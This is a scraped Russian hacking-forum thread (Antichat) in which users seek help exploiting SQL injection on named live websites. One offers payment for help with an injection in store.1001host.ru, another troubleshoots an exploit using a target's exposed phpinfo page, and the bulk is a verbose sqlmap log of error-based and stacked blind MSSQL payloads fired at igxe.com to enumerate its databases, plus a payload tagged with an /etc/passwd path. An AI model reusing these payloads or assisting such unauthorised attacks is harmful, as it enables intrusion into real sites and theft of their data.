ANTICHAT — форум по информационной безопасности, OSINT и технологиям

http://store.1001host.ru/get/25'/3238264cd17791854de5

Кто подскажет, как раскрутить? Всё перепробовал... Готов заплатить за помощь.

А вы уверены что там есть инъекция?

Через error based

http://store.1001host.ru/get/25'or(...version(),1))a)and(1)='1/3238264cd17791854de5

Query failed: Duplicate column name'5.1.62-log'

faza02,ты мне скидывал сплойт

https://rdot.org/forum/showpost.php?...4&postcount=11

Я разобрал заголовки и у меня получился файл на 40 мб.

https://www.sendspace.com/file/7vxeod

Не пойму где передается имя временного файла.

Ответ сервера всегда одинаковый:

То есть нигде имя временного файла не передается. Что не так?

имя

имя временного файла в есть в phpinfo();

вот строка из сплоента:

Пробовал тут:

https://autopaymentfinder.com/phpinfo.php

И на тестовом сайте денвера файл с phpinfo.

Тоже-самое

Ребят подскажите пожалуйста

Расковырял скулю ,меп выдает

[16:45:55] [INFO] the back-end DBMS is Microsoft SQL Server

web application technology: ColdFusion

back-end DBMS: Microsoft SQL Server 2008

И находит 20+ бд

При этом ,при запросе таблиц от туда ,выходит месага

[16:46:42] [WARNING] the SQL query provided does not return any output

[16:46:43] [WARNING] the SQL query provided does not return any output

[16:46:44] [WARNING] the SQL query provided does not return any output

[16:46:45] [WARNING] the SQL query provided does not return any output

[16:46:46] [WARNING] the SQL query provided does not return any output

[16:46:47] [WARNING] the SQL query provided does not return any output

Тобишь ,ни одну бд он не открыл .

Есть способы обхода ?

какие пути обхода? обход чего? кто должен угадывать, почему нет вывода?

пишите сюда запросы, ошибки и все, что может пригодится для того, чтобы не угадывать, в чем у вас проблема

Сори ,надо сразу было выложить )

Обычная ерор базед

Вывод при -v 3

[18:06:26] [PAYLOAD] bnzg=5979 AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables WHERE 2>1-- ../../../etc/passwd

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:

---

Parameter: #1* (URI)

Type: boolean-based blind

Title: Microsoft SQL Server/Sybase boolean-based blind - Stacked queries

Payload: http://www.igxe.com:80/Product/produ...8&sid=1;SELECT (CASE WHEN (2447=2447) THEN 1 ELSE 2447*(SELECT 2447 FROM master..sys

databases) END)--&curc=2&pid=3223&tid=1&deliverytype=3

Vector: ;SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)--

Type: error-based

Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause

Payload: http://www.igxe.com:80/Product/produ...eid=2338&sid=1 AND 2368=CONVERT(INT,(SELECT CHAR(113)+CHAR(118)+CHAR(113)+CHAR(106)+CHAR(11

3)+(SELECT (CASE WHEN (2368=2368) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(122)+CHAR(120)+CHAR (113)))&curc=2&pid=3223&tid=1&delivery

type=3

Vector: AND [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))

---

[18:06:30] [INFO] the back-end DBMS is Microsoft SQL Server

web application technology: ColdFusion

back-end DBMS: Microsoft SQL Server 2008

[18:06:30] [INFO] fetching tables for database: IGXEUSA

[18:06:30] [PAYLOAD] 1 AND 2254=CONVERT(INT,(SELECT CHAR(113)+CHAR(118)+CHAR(113)+CHAR(106)+CHAR(113)+ (SELECT ISNULL(CAST(COUNT(IGXEUSA..sysusers.name

+CHAR(46)+IGXEUSA..sysobjects.name) AS NVARCHAR(4000)),CHAR(32)) FROM IGXEUSA..sysobjects INNER JOIN IGXEUSA..sysusers ON IGXEUSA..sysobjects.uid = IG

XEUSA..sysusers.uid WHERE IGXEUSA..sysobjects.xtype IN (CHAR(117),CHAR(118)))+CHAR(113)+CHAR(113)+CHAR(12 2)+CHAR(120)+CHAR(113)))

[18:06:31] [DEBUG] got HTTP error code: 500 (Internal Server Error)

[18:06:31] [WARNING] the SQL query provided does not return any output

[18:06:31] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'

[18:06:31] [PAYLOAD] 1 AND 7553=CONVERT(INT,(SELECT CHAR(113)+CHAR(118)+CHAR(113)+CHAR(106)+CHAR(113)+ (SELECT ISNULL(CAST(COUNT(table_schema+CHAR(46)+

table_name) AS NVARCHAR(4000)),CHAR(32)) FROM information_schema.tables WHERE table_catalog=CHAR(73)+CHAR(71)+CHAR(88)+CHAR(69)+ CHAR(85)+CHAR(83)+CHAR

(65))+CHAR(113)+CHAR(113)+CHAR(122)+CHAR(120)+CHAR (113)))

[18:06:32] [DEBUG] got HTTP error code: 500 (Internal Server Error)

[18:06:32] [WARNING] the SQL query provided does not return any output

[18:06:32] [WARNING] the SQL query provided does not return any output

[18:06:32] [INFO] fetching number of tables for database 'IGXEUSA'

[18:06:32] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval

[18:06:32] [PAYLOAD] 1;SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(name))) AS NVARCHAR(4000)),CHAR(32)) FROM IGXEUSA..sys

objects WHERE IGXEUSA..sysobjects.xtype IN (CHAR(117),CHAR(118))),1,1))>51) THEN 1 ELSE 8471*(SELECT 8471 FROM master..sysdatabases) END)--

[18:06:33] [DEBUG] got HTTP error code: 500 (Internal Server Error)

[18:06:33] [PAYLOAD] 1;SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(name))) AS NVARCHAR(4000)),CHAR(32)) FROM IGXEUSA..sys

objects WHERE IGXEUSA..sysobjects.xtype IN (CHAR(117),CHAR(118))),1,1))>48) THEN 1 ELSE 8471*(SELECT 8471 FROM master..sysdatabases) END)--

[18:06:34] [DEBUG] got HTTP error code: 500 (Internal Server Error)

[18:06:34] [PAYLOAD] 1;SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(name))) AS NVARCHAR(4000)),CHAR(32)) FROM IGXEUSA..sys

objects WHERE IGXEUSA..sysobjects.xtype IN (CHAR(117),CHAR(118))),1,1))>1) THEN 1 ELSE 8471*(SELECT 8471 FROM master..sysdatabases) END)--

[18:06:36] [DEBUG] got HTTP error code: 500 (Internal Server Error)

[18:06:36] [INFO] retrieved:

[18:06:36] [DEBUG] performed 3 queries in 3.26 seconds

[18:06:36] [PAYLOAD] 1;SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(table_name))) AS NVARCHAR(4000)),CHAR(32)) FROM inform

ation_schema.tables WHERE table_catalog=CHAR(73)+CHAR(71)+CHAR(88)+CHAR(69)+ CHAR(85)+CHAR(83)+CHAR(65)),1,1))>51) THEN 1 ELSE 3827*(SELECT 3827 FROM m

aster..sysdatabases) END)--

[18:06:37] [DEBUG] got HTTP error code: 500 (Internal Server Error)

[18:06:37] [PAYLOAD] 1;SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(table_name))) AS NVARCHAR(4000)),CHAR(32)) FROM inform

ation_schema.tables WHERE table_catalog=CHAR(73)+CHAR(71)+CHAR(88)+CHAR(69)+ CHAR(85)+CHAR(83)+CHAR(65)),1,1))>48) THEN 1 ELSE 3827*(SELECT 3827 FROM m

aster..sysdatabases) END)--

[18:06:38] [DEBUG] got HTTP error code: 500 (Internal Server Error)

[18:06:38] [PAYLOAD] 1;SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(table_name))) AS NVARCHAR(4000)),CHAR(32)) FROM inform

ation_schema.tables WHERE table_catalog=CHAR(73)+CHAR(71)+CHAR(88)+CHAR(69)+ CHAR(85)+CHAR(83)+CHAR(65)),1,1))>1) THEN 1 ELSE 3827*(SELECT 3827 FROM ma

ster..sysdatabases) END)--

[18:06:39] [DEBUG] got HTTP error code: 500 (Internal Server Error)

[18:06:39] [INFO] retrieved:

[18:06:39] [DEBUG] performed 3 queries in 3.48 seconds

[18:06:39] [PAYLOAD] 1;SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(COUNT(name) AS NVARCHAR(4000)),CHAR(32)) FROM IGXEUSA..sysobjects WHER

E xtype = CHAR(85)),1,1))>51) THEN 1 ELSE 4817*(SELECT 4817 FROM master..sysdatabases) END)--

[18:06:41] [DEBUG] got HTTP error code: 500 (Internal Server Error)

[18:06:41] [WARNING] reflective value(s) found and filtering out

[18:06:41] [PAYLOAD] 1;SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(COUNT(name) AS NVARCHAR(4000)),CHAR(32)) FROM IGXEUSA..sysobjects WHER

E xtype = CHAR(85)),1,1))>48) THEN 1 ELSE 4817*(SELECT 4817 FROM master..sysdatabases) END)--

[18:06:42] [DEBUG] got HTTP error code: 500 (Internal Server Error)

[18:06:42] [PAYLOAD] 1;SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(COUNT(name) AS NVARCHAR(4000)),CHAR(32)) FROM IGXEUSA..sysobjects WHER

E xtype = CHAR(85)),1,1))>1) THEN 1 ELSE 4817*(SELECT 4817 FROM master..sysdatabases) END)--

[18:06:44] [DEBUG] got HTTP error code: 500 (Internal Server Error)

[18:06:44] [INFO] retrieved:

[18:06:44] [DEBUG] performed 3 queries in 4.97 seconds

[18:06:44] [WARNING] unable to retrieve the number of tables for database 'IGXEUSA'

[18:06:44] [CRITICAL] unable to retrieve the tables for any database

[18:06:44] [WARNING] HTTP error codes detected during run:

500 (Internal Server Error) - 11 times